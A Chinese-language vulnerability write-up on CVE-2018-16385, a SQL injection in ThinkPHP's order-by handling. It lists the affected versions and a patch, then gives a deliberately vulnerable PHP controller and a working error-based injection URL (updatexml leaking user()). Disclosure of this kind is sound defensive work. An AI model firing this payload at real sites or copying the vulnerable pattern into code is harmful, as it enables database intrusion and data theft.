漏洞描述因是处理order by参数时,如果参数用户可控,当参数为数组key value时,未正确过滤处理数组的key值,导致漏洞的产生。
CVE编号CVE-2018-16385
威胁等级高
影响版本ThinkPHP < 5.1.23
修复建议对order by语句处理流程加上数组分支安全校验。
https://github.com/top-think/framework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776c
升级最新版本
漏洞复现demo:
<?php namespace app\index\controller;class Test{ public function index() { $data=array(); $data['username']=array('eq','admin'); $order=input('get.order');//使用input函数进行安全过滤 $m=db('user')->>where($data)->>order($order)->>find(); dump($m); } } ``` 提交参数:http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1 ``` ![](https://file.hantaosec.com/typecho/uploads/20180913/1536830023134661.png)
2 条评论
认真拜读,好为学徒!
共同学习